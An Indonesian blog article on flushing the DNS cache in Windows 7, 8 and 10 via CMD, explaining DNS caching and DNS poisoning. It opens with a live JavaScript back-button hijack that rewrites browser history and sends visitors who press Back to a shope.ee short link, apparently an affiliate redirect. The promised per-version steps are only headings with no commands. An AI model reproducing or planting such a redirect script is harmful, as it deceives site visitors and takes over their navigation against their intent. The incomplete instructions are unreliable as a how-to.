(function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/history"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/history") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("https://shope.ee/5Utq2NAvFT"); },10); } }, false); }(window, location));
Cara Mudah Flush DNS di Windows 7, 8, 10 dengan CMD – Anda mungkin pernah mendengar DNS saat mengoperasikan komputer, tetapi apa Anda tahu cara mudah flush DNS di Windows dengan CMD? DNS yang merupakan akronim Domain Name System berperan sebagai kontak internet dan membantu penerjemahan domain ke IP Address agar peramban dapat menemukan website.
Cache dan DNS adalah dua hal yang saling berkaitan. Dalam hal ini, cache adalah kegiatan data yang datang dari permintaan sebelumnya yang kemudian dipakai lagi untuk mempercepat proses pemuatan. Hal ini pula yang akan mempengaruhi loading website yang dilakukan DNS cache.
Bagaimana cara kerjanya? Sebelum peramban atau browser mengeluarkan permintaan ke luar jaringan, perangkat akan saling memotong untuk mencarikan nama domain di database DNS cache. Database ini memuat daftar nama domain yang baru diakses maupun alamat yang dihitung DNS saat kali pertama permintaan dibuat. Akan tetapi, DNA cache tak lepas juga dari masalah, salah satunya DNS poisoning, yakni situasi saat DNS cache akibat tercemar nama domain atau IP Address tidak sah.
Potensi cache bermasalah memang selalu ada dan biasanya datang dari gangguan teknis. Namun, DNA poisoning datang dari virus maupun serangan jaringan yang berhasil memasukkan entri DNS tak valid ke dalam cache. Ketika DNS poisoning terjadi, peramban akan mengirimkan laman salah pada pengguna, contohnya situs-situs penuh ads yang mengandung malware.
Di sinilah flush DNS mengambil peran penting untuk mengatasi DNS poisoning. Flush DNS secara garis besar adalah tindakan menghapus dan mengatur ulang DNS cache. Cara mudah flush DNS di Windows dengan CMD tak hanya menghilangkan entri-entri tak diinginkan, tetapi juga memaksa komputer untuk mencatat ulang laman-laman situs web yang sempat Anda akses. Lantas alamat baru akan diambil dari server DNS yang disediakan bagi jaringan Anda.
Bukan hanya website, router juga mempunyai DNS cache. Maka dari itu, Anda juga disarankan untuk rajin rebooting pada router untuk mengatasi poisoning maupun masalah-masalah lainnya. Dalam hal ini, Anda juga bisa melakukan flush DNA untuk menghapus entri-entri bermasalah yang tersimpan secara sementara dalam perangkat tersebut.
Flush DNS sebenarnya bisa diterapkan pada semua sistem operasi seperti Linux, Mac, dan Windows. Bagi Anda yang menggunakan sistem operasi Windows, berikut cara-cara yang bisa diterapkan sesuai versinya:
Cara Flush DNS pada Windows 10
Flush DNS pada Windows 7 dan/atau versi sebelumnya
Flush DNS pada Windows 8
Mudah-mudahan cara mudah flush DNS di Windows 7, 8, 10 dengan CMD ini membantu Anda menjaga performa komputer, terutama dari serangan yang tak diinginkan.